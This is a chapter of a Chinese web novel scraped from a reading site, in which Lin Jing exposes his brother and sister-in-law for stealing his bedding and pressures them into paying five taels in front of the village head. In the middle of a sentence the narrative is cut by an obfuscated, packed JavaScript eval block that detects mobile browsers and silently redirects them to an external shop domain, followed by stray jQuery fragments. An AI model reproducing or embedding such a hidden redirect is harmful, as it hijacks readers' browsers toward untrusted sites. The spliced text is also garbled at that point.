文趣网 > 其他小说 > 娘子掏出来比我还大 > 29. 第二十九章
    林镜跟在林兴邦后面,走到林明家田边看到的便是两口子把头埋在一起,正嘀咕着什么。

    林兴邦率先走过去,叫住两人,开口便直接问起林镜家丢了东西的事。

    只见邹氏眼珠一转,突然咧嘴笑起来,“嗨呀,我正打算去找二娃说这个事安,我这不是喊了周家两弟兄帮忙栽秧子吗?说顺便在田坎上点两颗豌豆,屋头又没锄头得,就去找二娃借。”

    “就是,你大嫂去找你,你又没在屋头,就先拿来用了。”林明也帮腔道。

    林镜看着这统一了口径的两口子,一时间觉得有些荒诞。

    以前他觉得林明虽说没什么良心,但这个时期的他应当还是要点脸的。

    如今看来,这人从头至尾,就是个烂人,否则也不会一朝得势瞬间就变了嘴脸。

    “行。”他点头,“你说锄头耙子是借的,那铺盖这些呢?”

    林镜笃定,林明急着来找邹氏对口供,连院子里的耙子都没来得及处理,被褥必然还在他们家里,只要一搜便能搜到。

    林明哽了一下,暗地里又瞪邹氏一眼,这才继续圆谎:“你大嫂说看你那铺盖些丢在窝棚头都弄脏了,说拿回来给你洗哈,这不是还没搞赢(没来得及)嘛?”

    “呵呵。”林镜环视一周,发现在场众人皆是一脸怀疑,也知道这场戏演得差不多了。

    他和林明到底是亲兄弟,即便是告到公堂上,这点东西也不至于能把邹氏怎么样,他要的也不是能怎么惩处这一家子。

    在场的人都不是瞎子,自然知道林明和邹氏都在说谎,只要村民心中认定了这两人偷东西,就足够让他们从此抬不起头做人了。

    “也就是说,大哥大嫂你们承认我窝棚里的东西是你们拿的了是不是?”

    “是,你大嫂也是好心……”林明讪笑,正准备给自己挽尊,林镜却冷笑着打断了他的话。

    “多谢大嫂的好心了,不过我屋头有人操持,倒是用不着你帮我洗铺盖。”

    “镰刀锄头这些东西你要借来用没事,用完给我拿回来就行了,不过铺盖还是先还我嘛,晚上还要盖。”

    说罢,他又像是想起什么似的,补充道:“哦!还有我铺盖里面的五两银子,大嫂应该也还没拿出来吧?”

    他好整以暇地看过去,只见两口子齐齐变了脸色,邹氏张牙舞爪地就要扑上来,被林明一把拉住。

    “啥子五两银子,你那就两床烂铺盖,哪来的钱!”

    刚才是她们两口子自己承认拿了林镜的东西,这下他又说被褥里有五两银子,这下邹氏是哑巴吃黄连,有苦也说不出了。

    前几日邹氏便看到林镜买了新的农具,想着自家的农具被火烧脆了不好用,便想去顺过来用一用。

    早上来带帮工来田里干活,回去时她便特地趁林镜出门绕路去了窝棚那边,看到里头还有几床崭新的被褥,便起了心思,一并拿了去。

    分家时她拢共就给了林镜二两银子,量他买了这些东西也没有多余的钱,便没刻意去翻找。

    没想到这下反倒被讹上了。

    林明和自家婆娘对视一眼,也知道这事儿无论如何也不能认,连忙帮腔道:“你大嫂把铺盖拿回去还没来得及洗,有就是有,没有就是没有,你别记错了噻!”

    “放心,大哥,我还没老到钱放在哪儿都记不得的程度,就是放在铺盖里面的,放钱的位置我还用针线缝过,回去把铺盖拿出来看了就晓得了。”

    见他这般笃定,一旁还想当和事佬的林兴邦脸色顿时凝重起来。

    他是有心向着林明一家,之前分家的时候偏心偏得几个族老都有意见了。

    没想到这一家子是个拉不起事的,一点人情世故不懂不说,手脚还不干净。

    若只是拿点物件,他或许还能和和稀泥,但五两银子可不是笔小数目,届时林镜要执意闹上公堂,怕是林松的功名都保不住。

    村里拢共就两名童生,关乎着他这个村长的政绩,他可不想因这事给弄掉一个。

    想到这里,林兴邦暗自瞥了一眼明显心虚的林明两口子,心下总算有了主意。

    要怪就怪这两口子自己偷鸡摸狗手脚不干净,他是想帮也帮不了了。

    说话间林镜和几个村民便拥簇着林兴邦往林明家走去。

    顾及着林明的瘸腿,众人走得很慢,林明一边费力赶路,一面不停抹着汗,时不时还打量着林镜脸色,想从他的表情中看出那五两银子的真实性。

    林镜回看过去,在众人看不见的地方,朝林明投去一个意味不明的笑。

    林明被他这么一瞥,下意识收回视线,心里却悬起一块大石,怎么也落不下去。

    一路拖拖拉拉,终究还是走到了地方。

    邹氏这下也没了方才颐指气使的气焰,几乎是颤着手开锁推开了堂屋门。

    那几床被子被她悄悄塞进了林松房间的柜子里,连林明都不知道。

    林镜第一时间装作焦急的模样,翻开其中一床被子,找到其中一个角落。

    被角上确实如他先前所说,上头有用针线缝过的痕迹,中间却多了一条破口,里头空空荡荡,别说银两了,连点灰尘也抖不出来。

    邹氏瞬间就软了腿,退了两步依靠在墙上,抬手指着林镜:“你……你狗日的害我!”

    “大嫂,你这话就不对了。”林镜皱眉,“未必我还会算命,晓得你要来我家拿东西,故意把新买的铺盖划烂成这个样子敲你竹杠吗?”

    “说不准!分家的时候你拢共就得二两银子,拿来的五两,分明就是要敲我!”

    “我打死你个私娃子,害人精!”说着邹氏就要扑上来厮打林镜,被林汉祖急忙扯着袖子拉住,“侄儿媳妇,说事就说事,不要动手哈!”

    “就是就是,好好说!”一旁,村长家邻居林汉星也劝道。

    林镜退开一步,手里仍拎着那张破口的被子,冷声道:“大嫂,你一口一个狗日的,一口一个私娃子,我和大哥一母同胞,你不怕我们娘老汉半夜来找你吗?”

    “你!”邹氏一时被他拿捏住,很快又换了口径,骂他狼心狗肺,短命杂种,总之怎么难听怎么来,听得在场几人纷纷皱起眉。

    “够了!”林兴邦厉声呵斥,林明也在林汉星的搀扶下及时捂住邹氏的嘴,总算让她安静下来。

    “我们来的时候你家门锁得上好,二娃根本没机会进来做手脚,你们还是解释一哈嘛?为啥子新买的铺盖上有恁大条口子。”林兴邦指着被子上的破洞冷声质问。

    林明一面要制住自家婆娘,一面还要开口为自己叫屈,“二老爷,上次分家你也晓得,二娃手头拢共就只有二两银子,还置办了这些家当,咋可能平白无故又多出五两银子来嘛?”

    “咋不可能安?”不等林兴邦说话,林镜就及时开口,“前几天我上山猎了头獐子,肉没卖完送了一半给坎下江子他们,皮子拿去卖了七两,杂七杂八用了点,刚好还剩五两整的,要不要我喊他们上来给我作证嘛?”

    事实上皮子是今天才卖的,但林镜是从山里把皮子直接拿下来,去县城卖的,路上也没遇到熟人,他笃定在场的人都不知道这事,才敢这么信口开河。

    至于铺盖上的破口,那是买回来当晚,林镜想把剩下的钱藏在里头,缝好之后又觉得不安全,给拆了出来留下的。

    事实证明,铺盖放在窝棚里确实不安全。

    至于为什么这么说,他就是要好好治治这两口子,让他们不敢再来招惹自己。

    况且只讹他们五两银子而已,不及自己两辈子付出的百中之一。

    听他这么一说,林兴邦当即便让大儿子下去请了张家人来。

    今日张家兄弟都去镇上做工了,其他人也都去了地里,只有张成芳一个人在家宰猪草,被叫过来的时候还是一脸懵。

    但在林兴邦问起林镜送的獐子肉的事时当即便点点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670760|206800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头,“前几天二哥确实拿了一块獐子肉回来,说是镜子哥送的,我们全家都吃了。”

    “小娼妇,你扯谎卖白的嘛!哪个不晓得你一家都和林二娃耍得好,肯定是帮着他说话的!”邹氏不知什么时候又挣脱了林明的束缚,指着张成芳开口就骂。

    张成芳嫂子和邹氏之间的官司不是一日两日了,但她自己还是个小姑娘,家里人从来不让她掺和大人的事,也没见过这般阵仗,被邹氏咄咄逼人的样子吓得后退两步。

    “我没有扯谎,你咋乱涛人安?”

    邹氏作势就要撸着袖子扑上去,被林明一把扯住,只得扑棱着膀子尖声尖气地怒骂:“你就是扯谎,老娘撕烂你的嘴!”

    可事到如今,人证物证俱在,哪怕没人看见是她拿了那五两银子,无论她再怎么挣扎也不会有人相信她的话。

    就连林明都拉扯她一把,小声质问:“瓜婆娘,是不是你?”

    “我没有!”邹氏抓狂大喊,“我拿回来怕遭你看到,马上就塞在柜子头了,然后没一会儿村长就喊去大场坝集合,哪有时间去翻找嘛?”

    她这番不打自招,瞬间就推翻了之前说是好心要帮林镜洗被褥的话,林明都快被这瓜婆娘蠢哭了,还得扯着笑脸打圆场。

    他看向林镜,“二娃,你大嫂的为人你也晓得,她不得……”

    “她啥子为人你自己心头清楚。”林镜堵住他的嘴,继续不依不饶,“大哥,你自己看到办嘛。”

    “五两银子找不出来,我就上衙门去告状,请官老爷来断案!”他句句斩钉截铁,不给林明半点辩驳的机会。

    林兴邦沉着脸看向林镜,一方面觉得他不给自己面子,一方面又对林明恨铁不成钢,只得拉着他肚子出门去单独谈话。

    不久,林明便在林汉祖的搀扶下灰白着脸走进来。

    他狠狠瞪了邹氏一眼,又转头看向林镜:“二娃,是大哥对不住你,这五两银子,算我补给你的,这事你能不能……不要声张,毕竟对小松影响不好。”

    “补给我?”林镜挑眉,“大哥,分家的时候你不是说屋头没钱了吗?给我的二两银子都是去大嫂后家借的,咋这下又有五两银子来补给我了安?”

    林明:……

    “是,我还给你,可以了撒!”他一拍大腿,咬着牙死死等着林镜,恨他不给自己留半点脸面。

    “亲巴巴的两弟兄,恁个有意思吗?”

    林镜像是听到什么天大的笑话一般,一脸无语地看过去:“大哥,亲巴巴的两弟兄,你们恁个对我,又有意思吗?”

    “分家了,就各过各的,我不需要你们假好心来帮我洗铺盖,我也请你们不要用这种借口来沾惹我,好不好?”

    “你自己说,笑不笑人?”

    林明被他说得哑口无言,只能打落牙齿和血吞,扯着邹氏去房间取了五两银子交给林兴邦,由他转交给林镜。

    林兴邦到底还是顾及着林松,对着林镜耳提面命,让他不要把这事拿出去说。

    林镜自然只能应是,但心情很好地看向一旁看热闹的林汉星等人。

    今日这事,即便是他不说,也不可能就这么销声匿迹了,毕竟这么多人看着呢。

    林兴邦自然也知道这茬,当即有些后悔请旁人来做见证,只得又去和另外几人嘱咐一番。

    事情尘埃落地,众人各回各家,林镜抱着一大卷铺盖,怀揣着新得的五两银子,离开之前回头又看了一眼林明。

    “大哥,不要再惹我了。”说罢,他转身就走。

    这辈子,还什么都没发生,林镜也没打算要报复谁,但若是他们还不肯善罢甘休,那他也绝不会再手软了。

    林明脱力地瘫坐在竹椅上,望着林镜逐渐远去的背影,一时间有些不明白。

    怎么好好的一个家,突然就变成这样了。

    他抬头越过屋檐看向乌蒙蒙的天空,许久,才无力地闭上眼,最终长长叹息一口。